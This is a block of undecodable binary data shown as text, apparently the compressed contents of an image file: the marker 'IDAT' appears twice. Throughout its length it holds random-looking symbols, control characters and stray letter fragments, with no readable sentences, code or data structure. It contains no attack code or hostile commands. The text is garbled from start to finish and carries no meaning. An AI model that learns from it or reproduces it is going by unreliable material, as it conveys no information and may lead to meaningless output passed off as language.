gO|rZlG,"z0\8H^<^\0HZv?o/WY_Z0i
A}jyWTy
"1`}x^+d:??0~~]fJyxԾlOЪ*n+9}
8vDDчS1}߹3bE 8^/<u>DDO|әs;wd6bSH?|u!O.X{\@??bE>@2׀ktBEV9<z⁻ɰ=y3mL*S?4!C^9yzr|6aϘqw/A<n9<OljKx@s)$߀4AĮ9=tr[r4||vz8S{pXS~׋18oxjM՝Zr<1	XMS`Vƫ(ns	,
/[]E|̡[0)%]W	9!Rek+bs?cBfö__ٷ˸g}͏W=mO4z[Ӽz~'}]}ۗr
[:%?fҐ%O0&M=AWuRᤐxJ^{}XC9{
QjUÃw=}<?3;
׶m="qpҳjuȧdFȨ}z[[}~Rn^\y2$TfNadyVx(i<﵃ڜ
D#m<p]ٓTb1{sƬ˱boX/rq̈́B]|گ)y~swcpzDuѯ׳N8.74y'?>/Y3q<c_ýWb۬=e&4b$kE߸yO:{Llxm
u {ۜrݳwx6xcFq>2gzu`wOO"d }opq!"Fn3gѴIZ`C9ŬSIHIޏHƪ:V6>~V)-vg]ziٚp>o%8~PD2˫*
fy*Vs;臟i3Mgr-ڐWy$o&fـcݝggjHoq/'!(59Y1cլr.ӂiD*M	_6kxWq6;ϧp
A̴1)XE?^v92'JqE\_"9]Yi
Im~V5eϾD?=%jMJzfvB׿*|:s]/#Pb!8m6yy#M{UyN bW_:7D88Lzb|:p?1?r6b`m䈑,D2!Kn}=^UlShиgKޮE#B <A{эA{

ǟ{~ޟ=l.?:|sӶ$z=w4SsûKu|Y=sPj.][؊=
h`cDnƂP%ynΝimDv:Ī_зv}uҚEf9tOmh.r<4J2Hh:ח00Y>ppq=&Y_?ypNbTl#eH=͝Ohy~of4K?U3зy,vo_AL=~N6?RmuӓA߫
+SޤG8iw`/5ņM(TXKw?P‚^q擴!v*'[gO>jM?:9	d.(Ej0 	]oX߯wnO&.8NfnG
hi-6,^mA}w^7F?w}ѣx99r1PzKż~5؜2pI1c!![W~oquEHzoFxr9Vo\y}foWh\,Xi7Euf%NNɁlOؾ;<'"T*|FA}妓7#7(pdY9ۤjT?#d_c} ;\u_d6c	T?'_R{c=w7o'{}Zux6Ss'{v*w}~yoԭ,O&~}Ih#ۄ{o \~+’4ڱƛ%husY)s_U:5?_:SoGrinOP*h;<|oOh{6ŵn`e
VgK>85njV{sm޿n ׇgƻ]
7`p= CZ?d;TF8W3BZ_Q
W=~~b}~7{,<0n3>?]qsMSt&|~D'̇5&v>n$[D<v/kyn1ޟCͷn1O{SwO*Iq-~:%T0x ب$3gcDz稈4xi@6'$^j6ZMՍ`Z˔{u4}*Zg3-tI3AS~{'8'
\m&hEZ!{R1 %R
	ʡa*'nB8yMz?V}so<N:\$7!Y$xy*ynOJ/pGyFl%U*ħݣ}z5WLQd3jOu;Qݏ`ﯯN-'Kn[Yj,S}b<aA7m+|'x|Y?s?3fABd3_Dj۫dSZU{>1dO:4q}ߩ(Gkg.}=<ҭ#uNd~YAzW9~~+`O<~6`
ټRKܬ~&؞^OadgR{Y7-yJT%G磺J&6~R⻜Y:癗+BVW@Ѫ=BgyJG	<&"
KHjK5_(;׫+ߵq-s'6PkH활*93Rn֬ϵr
'Sx
¯%xk܇ȹ4?qPE4{NɎo27>o Hp#7:r4QM3Wޭ3IiÄޙ4[)nj{Y<	] 䓀)-0Sg=uio.*Sǥo=n[$Ei-W(/j~Xv]ˬq]d6
}gsL	OgŔޟ2#sgwIf8Ϭc{j/ŷ42KOJ)
ˇO63XQ/UxAPs:P9=a&k`.	
Ylu9M	=AL׎z>3`N\??_Sp[%8OfފJtY3`[?c~}i6ڭWߖ}j~-o>}@&4|^JިR&|7luG58ũu]{
D_Ow5Gg:xhG_he<7yVP<lU͉=o?0Ʀc`5Η9m-Xo,|zmY4L_s%}Ǜg_7p^5=0Eug|;xyxj.G3&?bx{zp0P%`;{C-wxB<\}ܕl]k\{%nXSx"WOfÁP$hWJͯLu>wW?x*K>'<b,4 ;L1pO$ⶱyVxR2zש&e/l)
`'/?7 !߃W5]ӻ~ا0NI5?J}:ͭk8~/ϯ?Ϙc.Ϲhz#0,5
|ƗS@+砋stO~#t\8xH
U?ۿ$[</c%Ρ	&ODWÒ8UZv_< GVn<k(&~OS'CS
z{W~ߟ;?*<Kj=:{E.MyOm/,\!%{)YY&KFsNV7'vseS.}coA<}
Y/UHs+	1jVW?ȿ?<٭~jsut:GcږJ@)? VoHH(Gˁ0`j3X!,/1*7HpS8;9wCb4obW,m!9+ܐ	(c}9ݙT(hQkS?Nᶦi??_YA?|ݣX5Cսn2s=_sn,oAcŕS8|p2'S0g>3g#}R%<[mvO*<*L;ѻ՜R@W\,3,3}k>G*z+,BWvZ{{FSjQfJ6qMv㟇<~tZSJTi-P?"v=8ɭ|# !zX}v×LmXGkII"`mX1VTΔRnI-OlZ@y{We
Ccץ|`TZGY4MqB	Z|ZVj'p^jW*8Bی@6p^5C#a{z釲ږ|`޴H_[n@diDy~P-"<u\Gא4{}~pݎ;	wZ=c޺Ѥ-HOڵ::rgچH{rQs.ƫ7V:
*si㕸R\>}9ܫn?e}lFT6V7uM#s;xX1O	[2?6Cg'kWy5FghލoNwn:sFa7y]S2|&UNaޕm쿪"&Ո~~#<kD;[	ZR{sъ@?aJ@458c.{ΞTpεr]5+1?F6}>{zMGJ+$溱߹q]?ZǤ\Myy~}VyÀ)vw?wU

PYl\27m֮hڱ+c`TP0+W>3ֳ{>pVOGMaY~
gJfECߟ3>bɟm)9pڤh4S~gwC)+
c`>x~qi>VZ<=&uMYfWM
-J/L4ϖ\J\SdĶ8w!w_ܶ&=R;Zy|qbszMT}(ixH[z!n5Y85Kpg^*6LnE3z{H<K8.Ys
xۚu;p~|?+Lx?=ˡ$T~V
pJn{Թ|VF@P)㇃@5Okko:7uuTV+nV.\*?7[{Oy]rvG¥ƭS?ZwV6ʁ2l5~JY~ȷЈX7/~u66a]aG-qMS/Pmw-mTјK7zq$I{EA}nTg:#"O ܪu)0Ht	̙E]{}*܅p8
g>L	 '4Lpy?D~ڀM'?^iRp{/P{0h~vjx7pڣMş|HVگW?k9]w
zꋸ>>C``먭>c`ZЧ(!K'?=W:9*5pWroY'okG52*n]#G{
X*C>11@!S@%}7	t0ISsOJ_XSӷ	th)x>^h}',Y_@<?3 ?4Ŷ8>GNĿ,IMTVzӟ1ob>3sF߲.KkaGuϏ;0KfjX#xOOmXxIZ#>bH>?@@{.738C8So&g-^@QED\'z;?͝?G}oko
&WqQSS:ׯ2I~5Y>ZEV ϝ0uy6l׿&NDm8s`cܾ5ͧqbgY;=&^36ѽqHArw}+0wQ1V,?}+N>W?q<cmX?<%].u.S*s)Lǿ?rl?nt,(]=?n>;_<I}q\@q2yx+)ot#Q3WPVfboo!u!ٌZ
ٞj6=6i1"wZgF7>b֟/aanb0NDUXF>k	,hYԹ(tpQxMUl<~1fylV'ʋ"x_2W~}GS<έ>mkz|lv
tz5e6>Ϗ"g=>x'|x\[v`p.s:z0VsB[3ĥT:j|qfpw(dL3Ѻ턽3</\;pKA0<ϳƳGWϳ1QkMuؿu}Kاj2y.9V_5ҧQ}yG)ysQk%Fky&9!2fRBިCO[Ja&mǤ櫟	;ٜU3 ܾ=ԯx9;$Ļ/;yžb_<^j9dWI_y/g.Y0?`mf
$50y_L8eGdޠQ94fJ@qZ1꾿]2?VƐ3'rwYsϋmL(@ys}~>@wޗ$l77CtsgG߿\]?f2S>iע?Tt~$
Fw6bTOݓ+u0Jې3.Sc|Q%Ǐ?l'W?vy~wsY?-xN
G\WVȼq`
8
-D׈cQ潆r
ab5\9׋;ߙ//%gKi?(,~d0Q9SϵJr}m̔5Pc[#
DOcJj~gTgz+gcSWm3|2?7X<r;Xb7.A[c'(FυOug{%,z2LF6:%&†=5ŧۛ\0GbGRynٖOo-vxCW?5dح/
rd$l^]Wk)}rk$֬4'rd=)<}]fvK9qtwDgo\趱OgAy.+ͧTRw(?bJWw
̝{`õ6jHG^s/DfVrDa׿rL`4:svgB\{ߵȩ3h8ۊ?ũxih^8tЦ_vkY5
j}^T)BPPX	^g+?vيTwFo$'Z6\Ť<+҄K`AIW?h\+:U'ݱ*So~?QK)x{M?><"nfbLhؗPt,a|#ff3?s]^u|Q\\fy~$AJMY3?g{~:{["0tB4G]%V9I<,.]7tX:750œz-슙~Ǻ{0ϥ\ hџ{l}e!;u6+ĺ`e*
rC	ýL3S!bV<d6ި|6.o@KM83}x@}q5"wg"fK6Qݰ)]	xMnzV.k?s:4*gOc@༘.O.<Dp<n/חx|1 ='[b<7ο	2nܴ};"WA׍o6K}ك瘟<{<%6cA,_WmFW'8dx4lPȞ9s1>jNOildSW+z@	p+ozVSAV.jNjXm*Cu範AѮ"jUXihlgΎϋlO=3?eUc;ϿܮMD,8$|)5Lz=SQk6
>
xwA6'i%&KO{:{5}O}yBB]9҆q_fqDD7|QÅc	yrzYO?W,1rOrv*wk}.rzfh;>~?gxt9r˽xo3qtJ>BӯJ-gޠ{{%C>+X`s1\Yu7Ƭ'߽Xcw#Glep^8FkK你N縂oD?nD[o}~Xy&(:=]ϥKED}????\ %mj8>^%N;'ޗWrpy/s3?_7F-|;Zqo~us4ͷjcvZNy(p!q'h}d%k:FpL>z
op-Ls47 o,COg8.E
ڢ'!&6zVҹVSI3oOewL__Xk{Nߑ/%մ-7Nhx%~Ɨ}9]u|qu_韙'ϡ|>+'ܢw=-mC)h)D?tS'fTgJSΟ~(AݏϡS?9Wayy5~}R2syhԠ~K3צ9loF?+=wsә#9?z-S۫[r3bq|jXY׆;OuS(~*ucKR=B27V?Vgy_[3L[2Rpgy
ά
5VIehkG@4s}-RH8HZ{5G{M+Љ!ce1g{<տ_nߘU2YQ,qSɹO@矟%?2
9?O !#kywwe_fp;͟.<>(	Ok<ŪW]5̵/,>.\Y{/+_ԗaR߯6xkM^a8R!%xj,_?a{Q϶
,fX(Ox}"xeڳj'ۚqV?62%<Z52ڶ@	|uԻ8^ih?o[uY@K;P竟iBe\_8'_q;N߳>Gd:	3/[2hJV]/wp޿Qy|JI8+Rᬧ‰q͡u{'jo
%7&.	[z:?|0_%'Y/_l,?>|!gdO/{en3gUo./A])qSz!y}}ERqBߟfsh~U"n'1kAl׸K
JJ;np術%7.jz;OshmAXJkk*R}	C?> ^$8~4]].ԵAs=hkz~uW8qU<027@}Zhm_%:닙;GR5`V$&
\
"&S+1	j}#<dǶ'ѬhPF营jW_?8v(-Nd~QoGnLG6b!#ʃozv5@}̓g]σ/U7NL pfO#{8ݕgP}iES{k\>1ݫ0gڐؒ
GՕlÇ(̋*ç8f<lr{SlZ|qeUg@Tijy?{T2aky[9ϒs=.wC1jW(8+\޷8cpփej̾*Ȭ< \!`V[Ƀyn.{Fn{Y"F[By1yšJJZw(D>wZdu[y1?_
w^ei6Aߨ;D*g˛(8#aٻ3h$JZ`*Ǫ
/\e07ߞoɴr:?`^q?>X߼%u}_f-/
S?d>ݫʎ%x̯#8C#6Pa_8^S;lX3#iQ{7Ȫt'8}	UL9+]z|^TdL@?_֌84;.2us4Bc#s_䐶6[$@~	1]mqG*	O5)Je6խ!/_,wկʮ׬z>rY~~~D\uN7aL™k<>M6ɦL-yWu[0\i`u>"zK'W%WӁ;e?'rMO/ʙ\mgmi:x/5އT@ďw@IDATۅ>p#x%י9o@k{.zqn21S5s;g,)_n`{+|\zD?N/iH۷OUH7#+;׃':pE$_ѥ\"|yI6<?U.zk0Lp=\g ̸\	i*rd<~!?NԤj|2kk\՞V7r|͜g1*\V'-\ɾ/s^F,֯~\V8!=2k7`3gg~ᦑ
m9Q7,Dቕ^Ԭ"~MΪ@pȞG}KߵzΡ$_d|MF37_|WV=E[G &0*`~BKr;Ooυ/??X?:[55x񑱎3kUᖰ1}4A҇+q)ׅ7kZ 
 0|4:;?M?xuhץGp4WOWBly6,}tK'c:lj|&nWY>S8HwƮJPU/33NܚdK|
,̵̀Bg[7J]ɥߔ:R׋if@E?~##7u [i|o?YeeN<]/Rkt~,*5K5|v8w5_Фmtȩ/xu?ǝ}ٰl.l1դ>}*c!z^OyIxxXft@h`}i~␽2>{t6VF]弻=!.?
˫nGs*ؓsTNO_h2	 ;-/9`[?W
6`2fI2OΟtR D>PfN_&o@?A.-GL	7'R7o*_63ħtpQ{]!83Kz#f(:l..ٔܢp)SG[pi/o]z-t3N)s[_ۋI+|oO:͜uOzIxVpG-ey?lf	7Z>–97iNUdҿ7!sF{zמ_6o=ߟ#fp3>
-]nś2BGPp{sՃ'jV\~^CFq!K:lkoך\(&szn)5OSm_4w}*3Е6!Z
Ya}uw3.Y}5x瘶MMy׎7yaxJ+HK.y~ݗŠ6R
UTՅ4ꆬSHq.ŝSvy%@}z:K,];"AJ q6jfBI9gɊ{9踃F*~~:~9j!b#jO6[oRуu`}Zd~iڔ)	Yb3^m4+,; q4)'9+4[fN+̫_hEg|PW>]Ydn&wJA<7!Rs<{J^Z\o+y~`e2s2N	7zJG|
KjݗkhcxŇ"?w%m6^sg}D,4ռR#p=B}ZƨZk:CZ]gwOLA9އGxAv@ތ3
XBxeE$bb٧jF-;pj:?lGB}Ϥ=*|>gfЫphNHk%뽌id/ܜ/.,^skDJsw*EJJO'?ͽw,y:8=>X!b?,o⽿1ʿ&SwGHt^}vv01J/)4yr^=Kb̑>7Lg#ITO!{t
tPfP9͈{	?o:	^]˺)WP`IVo:r)3g(˃4VC4$z/Bs87?:]Q~z3rjÕ@5*^\	/YZfw[3cfɥFϵ_2|Nps6jb0bff颌|ʳ\OvQ9ά3-~Kw`{ʻO"ωHJY襽qo7L0xv<Ѿ?9)LTUΚ_/{z@7Z\#dՐw?Q#k8~4M
gxcYWۛ [o̞~@htMxl*-V7
WxS%3%r?CWYBNw
ǔz.bPYU35@W}Ym_lZ?fN:2Kv:6y6?1Gh.j&\ߧ'!qZ9=%BZ=	8UĬ5_U?{9UߧQʱ^:9P&O	^K.T.1lE;%"r\ѯU&d;
֫po^<NlA"zgMy=/4'y[?JS䭥Jҙ	ds5^eJm=,F<ޛ;<"ÉV>
<oGO&<*_UL_Ts<^/N%C2kJ'ϷK*Ur|ˋ*dF8Sc?]dhƛ"uƻn7R٣s<o 
.R_ ַjp)_ͨuZ]%)u}'erS+;<~yS/ʼfˌuҨӷKBxc77aO<)]xY{pI'Tcв5xֹf_7H-^8{GL+)<{U~̭Jӯ|扖u;»{xv
Y>t|"AgSo?NRwb:Ao}V.Aj|К\ٓ>g}'}{<zBa%-S?r5\j'luXn[]L-Y-8_?R*SoW
mWNWok_9/}G6C,W{.pJRoE='v77AEt~|ЭOdyj;=Js<X[9|JR^	s`XϔЈR0>r'Ip~Qe8nhc'CgĶ߃SN{һdasu$
Q%*~HR;yhͿl.14|\Z-5GSQ5a~CF{ʏ(-}^AK3Y𧨼[Wc?*T?`ҡh^+A|iss~}=χ;S[_y:
TݎoyGZ~}.ue8/:Kr>'I8;Ȯqk:W/Ż?|1I1GR},Ӝhek#bpx|d1rko<%!(Lg*ְ
Y]0*)g=3roZJ\AFAgok@̔Ecoo-{zcNѰ"]Ky})Z+~2#b uqGT+3w/ˌO?r
8
svTqzo$Wo^?ޢ ǮqG_1qt~Y}tZp_*ظsFm\Q+BuٔZ@B@'˖
/pи7=Wm
Zsޅm=xJMM>#SӇ8+Aqo3p	WfJ_da;l_=+P=ED ^Qh*V<?%99[>T[5|u_
k/Mfd2e䈞L&aٔ[~=GZ_?e;q		 kׁ~߰Vo)9IE֬*O6[u[ͷ(.-l+µ<zS29*D<>}QU%wt(qJoJcm̤v߃
y<N9IW_4j6<sq>3SG[_j62w&vsH?MM{usn-poRyNX_;qTd2Lukp2NUR+J[S;}As4\[a;A`4BXr_d•׵*)߉Q=SbFb/777JI~$Ų2^bX{|i:oAugk!sUdEGoQ4\:#͍7	;?	 HrKM*?/]'tSr	=9W(jV}o`N
\&	{H%P}r	Gc<#>ǔ#NZaljpq`;f|sf0ypfp5	Ī#
7ܮ L>}?O%aNZ7t~gjnoŻ65L~-x\?id"h·30xv;9MowXf	S%Y^|咇X3&u#tQwВ~JqKkq]{Ȩ؏X3'ѯCj_2}i-Gztx{?o@Wxʃsm!Qyn!F$8ETDZ%㉹N۞<TAo.p"f*|;{
(7NORUJg]'Vs2H}Az:Op1oFY<I3OH;FV@Ɨi!wE}ة).w#?e 17 ȃ7j}jS4Eplg9¿5G}s7G?]5#/M;ذS x^[N@>IAvhޏ>>ꦘr
 ϏXg`O*ot\
f=8yNRpC>;u/{.Ӫ
&i>(<p1={]-<O4j8W_g֎^,AI%{<(n[-k\ƻB#Xw3fr?z
?z.GC>=y쁯sڣu=%~ϑ:s|w?}VA!XXyck1~J'(Lu9qjش
Nˉ0 ͤ[e޻	
sW@D\:~<s@~5n>!I;`]Xՠo_r/5&<g$Zӽ^{wկr8΀VmϏܲV_uJ}Y73䃐"+j]@/#칌˛|,ŇH?oOx){_^]P[ܯOϮ9`I	RWJ<e%iT/ؿȈu})]4,^}f[TVc}ݬ/Y7t?xd}NA4MdCԅݝ`}Һй=
۞:2.A6'eP~Zqou%~bڈs<Q{jV;?Ώ0ەKv??~M&Wé]vųق~ҋ#ű<{?|v[1w[&X5ކ-jR97vwj1zȇ%:yfkO-t
͹_77V)|:W/TGoCҿ
@(zψM]Os)ajjpn0Y0}@䰹f~OKg=xᷦCD2Lpz+/C[>J=مA>Zyf9/@zJ/5~M:OmE=3DZA"Wfv^WPHжޞ?gކg`%ALm0[@9Y]M%D>;Lܞo2^WGO_WfS!˗3<@[vŰ:rϷ8x6+kd68lguvF"o%ktȐu=ƭ=,JbZKæmʀ,HLu5!v[.xT1LP5|fg~˩O
LꞍȓ
fbCEDMaR#)X6U4%0Z5g֯&8`JV㔙FpkU牒\)+==@G(KZ49RUï~<'DI}4O-5k$:t\ZoR'5=꼻Y94Yr9hUtN췅dDֈ$zDvyEשB/'|_XB7n˫^Yƌ9PŞ=~x\9%	Z[ˬkz~	$8Alj^}PΕٻr9pc\&O~5ғ2apS16{
gsyS>]\8$:?.qq3o&8r	g眔;;2Cjh3֋&	"1=52eMJE	qK1Zv'%#dϛ|]}0oI	;114pg|dI@N
y4hgz+\6
׋V~tǟM踿z'clAlb٨+kOןsI[)ۓ2e`>һ8
ov>,X#	^4T	Z2wM-YC]{'Ii0?~u6ޘ5nGZ:VXeJ>TmKd{O鼹!@Ͷh*~.w>3ӪjF
s_^1!;k{6#~߆)vzBS:k6~OC<l6t9ek{eS&:%j*Kō:N7T>޷(㷚"K\1z#
4e`X],!q6`8FSDpz$5ij .o\xp):-?>"$Ac[e<^^V1Wԑjγm,O_6`'`+g	mMjLW9\ݺ>(U˯.p"w-yrѫcshṡ>|URrJt?O_O=v69k{F:m싎?Ӝ= zL	m;yp6yÿP~Z/{-;p'X:zZ)\<e:wȨ	k[<	,7[8kvtMb	9 yNsX7"0s,JnKoD&koh	f[Oѕ8\Dhp%E'`_-6S1	W/?!f3s|pQ1)88z/8nVƸp0ڽLƯkTSl/ץ\?壃Vl-Qn~{I/5NأkOÝMԎs_9	f)+h6x#ʂ܇#ƾl?u<NJxYlrga{Xes\>gV$<co]"Ca;sqO\t#`g9٧9mG,(ZŽT;6\ˏ#*x^ytj!Fc98bYȊ҂7lvq[Y|Jͯљ漿?H	99|쩕70>.g"&?%0lȎk'"c9Y4?ί|^</y5ӏ[+FF%.3~\saj_$p3ɹЇ'[f+-fr$l/qNTM@ռxjO򧏄G8}xhf o;s^jfkm-7N$t`bֺYĂO`7)	سf%8B~d_T8|v/<çt3%8yf"j|Ml&y*5?'
ѹWop+ ]}r[j$PyOlÕWz"&H]o<K+mȾdrZW;R7^k'8M8ڣS/s"%Zd}'%H;ey]qٽԣiF8psev X1;'@hg!?Wv̳p4c#={ªo9y(nĠA&kRe?
si@4o<+`m#=zS?ypNYF"<XC5i)䝤O [WkߜZ_w'>hV8y^%L̜#g'x<
\F'TҴ׼IIAszV| u	{y4gNp.\|A"]W<C!bZTՄo7bZ-4u,'
to$nhi@{0$0v|O̚jS[aΤŏbcg&1O%
$Γ/i8!mĽX^k8la"<F_F:ϙӁyd4Uކ9l9G3Yew
 31=E5~;OSsi„Чp֡_Um&O_71XXɴ{x/#͘A49o?_/sݺ,GB;4D퍽x^Ё[Uuo}!<㜧f};:'\dE+34:.Lk`P +IR$wOXf^KF4'Þe<^/s"
sfw{91~5>ЕJ/~&G]
?ϯ\e+lp.$mM޷4Gcqa~5@C3瑎{)N/X]g<6)lK |]`ir;O?%)ռ_#;صn9	o-y.d.y]vf5;M)lI;k]ǃžPl3O|u˜")ߨD4<;7
zƗ飝
IaQ<{l繛KWG/hŋ#wi?eazѧM[oh+tK~qg/Z~oEc|!'=<0;xi;5>}0蛮Vw9)^C	 1imWȠ97n! xmYuKvV:͟D˼\^,a`udjǞ}7cvy>GI=׸>yWL;ѯxփN=p|#~l X`e8{u{_z<*yJȣ!tA//ɡz>и268m_7O^vFXG{	Jy_`Iўݘ⡻{C
<>YM%i4&cC	Xz?X>eI}VW㜜a+L#:F8&IʼQ7SGNY/fϔC4sDz:9v_sv=i@Aay_waD?'&I'XG%_ ]xY/.Ʀ	ZЊ)bϩ$4($'>DTXhsbczZ8o2ϮN&M\Ē̥0gsEʽfȼ>׽bB4&9Lۜ4"ljӫ
8_lov<߾3NA<kɛp'dyssopG_<)N,$9_pveqi\8:smOѧ7O4[WGADMtek8FYjRaOD{T~+&Nhp'䚪F}l<Sc,
V<}byx@bx䘒ζox^YQTVĥ@nipCYq6pcaƜ10^缡
r74ߚiMϭaF9SJM>_LplX]-S4<w:>|Lzb+i~*E,J D??PK2Aru9Ϊ5ܓi>bxTsb٧l4ܷVb>{zYY?-y4xd/[~na^ӕ???Bk;4#W83	YK?MS)OSz[r
R!Ğ̐qwO?9ۖk>F~O;oowQHXqQku<6xS\LA89'&(O2}/I,G%6LlYߺ̚hovKH{PHuy3)RxpM|'_x<Ч7Dٮ$(2wVs=o7qDIU~2{_I/u/;X<H~/u3J9.[$-E^lS]]رC^H>0 m`<kk<GKuϤ^|({
$
%y=Ls9Ѽ{`+W_(j%j=c~CI;Ap6|Y%|tvO"~?:{
_qHKvyMMS~G
dS攎guhmmK
Ir1\ṯ6³wM}H3n8gnZ%qK@Qzq`)e!cwNAUg
]wԉaDAd
%v.9]OXQcM7l9ƾOM0v*YZ+޺I0k	cE4+&S\a=K8v,d'fA7HX6xUrug?=0;,%h*9dOt%us?2ܸQϡ Ϳ
{CY%VxkƤDR4}rl.a)H{Qo8xgW2O#X8z#υh}7Π[?F{
oF\{j7پtqGlNz0_rw܊HbQ8m?݉GdFS<bA=j=Ar_Oc5|&״(GkC񕁂Ii
'Ԯ|yMyvZYK
L_=7#gEü}p]- ?ep-aԿ8ꑩi?Z.{n1^}rzfOHV@y_&4g9N{u
q^".{ӯˋ(վ}'֕wG;?'F'
&_>lN)nZX^GT~vOx$vα/Ar`Έ:.-*?:""ίH`EWs(F:E)}LMg1o."c-Y{'#hih-=?0bO~ׇ	jϿ=|F"#\h'
|h0-16x{|3Ah	S?\<8zޜщaϑ2ºlVpD==[Mfg.{ׄS}S+>}g?'@:}ډPYHx?p1V	8F;.|;K1j3zEg&g!Kh.fBBzʘL?(?ntcO9NgD>?{|,+.[f7;j4	"<pгhOwf@+OD=V{4[&Y۱VVF`_"G"ˀ1u~f,<}	4}|-%z{:xpQ9?_<FU2AYlVoh'?b}bBb;ILGe7ydyQT2zvĴ	.8seٹ/$\M|Cw#[sƅQQOti`T)_7cܬbjc!&9|^F0|ƥnZ9Mn
?裟.^Yj&3qGs*7pn&$`OL塺2M+7vnpl6❟cWٲHm7sp}6<[ 
Qxc>S8%y=w
>yE#b66	7>O;rƟԊ<&a塐OVrVc
Cpb̑I~]SPzቹ	x[[ߓ5SzF{k`ZK(yrO.$xz0<KJHQ1Sx9_/P/z?o 
}luX|;US5Ʉ߿բ-@kǘUaeIW4X'1[[l7_SN-#s}ƚM<')!T
"|S#p#F[79YI\4J%<>g\Os=FnZ72׵Y7-"MY?wu
}Ӕ)On(\cn_O,,j;Άf8m	=hQ߹g!Ͻ)죮skqa{?k=}~PUx_t'Bc8pC18\ɍC5BF2	71 z]?'v- ~v/WwkB*7=]_xW'=
!J)̼y֊)~6/ѭ]*yt\5?pɃ}I
l0}ģgoȠ4Ar# AoW"abeb_7
LnOwC=h2Ox7)_GxB5[B8BC/1w@q"XXytH`rp7of|sűiM]aI}&~C<>⬿LJrݣԹߵyl~(9 7;1G~b=
nl#\w7i}M^L3|F*3s 9@f_Xӛa<f}^`_Ϲ~|FC^\bԳqMHֿ{Q*!EfC(|yQsQ'F̝EN.GvQ Ggò^>";G?M4Y)չD(bLX%xhZLfi),p'*w73sM17v>rWils3QK
6`1KDs1dxBJMVd=L;udscr1<t/韹#sQEgqr:9iMgf%|yRۍoyhg ,c>4GWs5#U$_};ӗԷĽw
IiA4de}W{NJ1x=n0uBZx	?o1i/.w'oϽ֢Slm/	i</BKt-9pbDe<4Vp9~˵1^36f-vO,P	YnG.u9
O3G	:&Q@`ɽpΠG>]Wkik?R
.|ݿ:kO^赜6O@_Ƅ^3{`G{j2̶c7~6b^{ֺ364'7h	c02P\?쓘";&3xN)p퉧r3(1?of66	8WxO:}:S[fT<vkJ?g\_/Z/gӸcz+a8wO|D@^xj3c'%bL0=r9i8q,u6C=4Ќ̵o~7ǫ‚ձ{MZ@ˌ^~ͨ{YόԊh䥱sG&V`;+2Kn\Z^jo F3¢C''r3V	>0;ya,Okؽs-sW,̿r^?	0
Xq|'Sou֌ֺșlQ\OBO.yZsihҾ94qհl_CȰ?">c׆?y	V
'Mבgsj^S#X@IDATjKM}A?{p?gOD˯6 C:uCt]FihF߹i}sO:b\L۝?ۍ3%J$$3-'$
w՟!nH;|nKCjbuM=?mS0nzޤIOH/
?hMi
'(ұO7+`0C`!%b3[÷oㆼ+9|PGm[
on*s.j\	$bIԱy"TM}<|lb4onZ1]k^[m>v,d#o!@,54yH|ZOq88"$@/v|xD'vF'7XV"iC:ky˟KYNSkkx.UwVؚ$eAT_;>64
9_n~X?13<N[˃#|5l@ȗ'8;?q]g:Ӈ<.;~zܿKO&nVԼV○?RJ]7[-E11d-]{(߯9R|/ϑĠ{F<#슼S|~qBZ{wmd׆Jv'æZۓG>km6+c=;h謃ZL
D,mZL?~w삱~$>6H\Zq+Pp0f.a	?I#Oaw`Bm'K}anL۔\|toZjE]
ļ\`et#5f_{m#O/>qS[|%OsnC'-k|=%Ǡy@ߚɜAe>9Oj]$`XuP'Ntщ~c<|=CS\oc_.nxgͷ䀧h|䣫.>=~8d)
"9eCJΚ탸ڰKYBRY_O>?ߒ;'l?{k77\1&PL:?onsҺ$q-,84@h23}cS%8誷rd(F~k&aR}A)}=PK+`|ϯA	Ԙ@0!^sY^q;T}&04?~|)9"ey_\ A2Y5o2aGϹXEez9:K?&XrY)>]}gQ:]ZS'a79$>=(sٽY69W
+Z?2^l6#>!p)rH08'	5*74`y[Q?pn%2\^[ಀOn^.[- E\]jK[ޙ$ÇP6+CL{{L\&0d֥/ܝ?NΞyc}06ppv U远9/vl^<08y9<ob3
hjDLWj(vn;މw*m@G?xV䉽qk,cr.LuXFYEhy|~lN$
I$XJAׁ >\^
L>xٚ=D={6/F'Т:xA'&8g[,G_Re6#<ukK]JdbM"?D@4BW@oOբcþo^\o|,l~J_ao|8K]879<x
?#йfv㓋ut:
gHO6ea*p猞56p6C=[L'σ=_H_P%KǎNAwa&8`&cQML>XYeAa%e$;oQau^>翜HcS;wm5Κ?T
_갌Mh^my$Dwkb=?a,޴CHEZkwcȱԶbӑ>(=cv=Sa@_S@Nn+\lx_><<X~|_IR?ig_!>nܺG[ |;tZ~Igha%.K&;WF7yH鼾?p'1
Z}SUqh|OI	5G:mx{<Z .ghpLա]:ghd5Σ3zdvImDzPb|ǟqjcƫ?jΞ1xYgɾ5j>=M+ ϝ-MӝO\CZ'{sΥJo#:›cvfs:	+;޻y&Zkdqg:KL]I}:%a>YL
/,7|~Kc
#فgVghѿ92Z#nOk"lgaՃpZw_{Br6kɺ'*&h@HDF͐h,akQΩkbW#R{xL(!džkjeA;M^bgl6a&O\{5d{=|t?$h3,$JRD2#_}yLt(S/kk	v.$`FI?H l)/|Y`k+ً5<z	0[+Si`L9O@Kr94cf?,jXRԚW3??`ºoi0Zc:xb<,[g42/q'{3?`K}ǰ0WGctŃǹaf3	F	Fr*F(G(!3bfsf6ZP_}uޙOFÌN($'w&9YShNׄxkr3hU1O[֋Gdoeҋ^g0;E^|ˁب~Tնf6=q,KWGtxrd۰trEG3ؽʰ,J2
^'Y#<'5fIơ֚zDxqvӒu	Ks~Qrcȿ[{%j*x7W_0Hޑ; (	j(3h{Oe\_5W1`zϏ!O}4?*>)HIGB4azFd/6g*p'b{&7fnsNL
v\xaXr9&	5c:,4YGCWad醃\oQeA:FG񀠜~Xm	e҆]1kt읝rXCu_g 9?3;wk?=o`)a)4g+ {-t9<03 þmŬ네輱?Ep^3XhLڦθ:Xfz%t?pZ!{8UĿOtn&=cv87c:x/;T’/psI%#vz{߆:Rkv.\\ef_𰐱ڮsAӹQ˒51OdHyqi}	߀g47"JW닿9$P:Eȝj͸ۤGݙ%v<tYe+9,_72!akc[[>Kh_n<> 'pCC27,5Y3[B(~+Z:<%Jp5OQ`p^z#xeV2mNDž)sd&o]+ޠT۽̝4癌p_͌^7bw&MB䓔kI܄D!4L]ÉfL|,h=u5	(283R35츴p#?
N tirs8z̲3)sk&ѷwZ]ÃڐcPfgѕX\DRP NpYDʛ/V9SCCvnhfgud8~X@k& |^Vw	ҏD5cC#@<[.sr6㲺37Wjijoy*tMf	r*0s^Q^b1{>BaZqC9aYZ
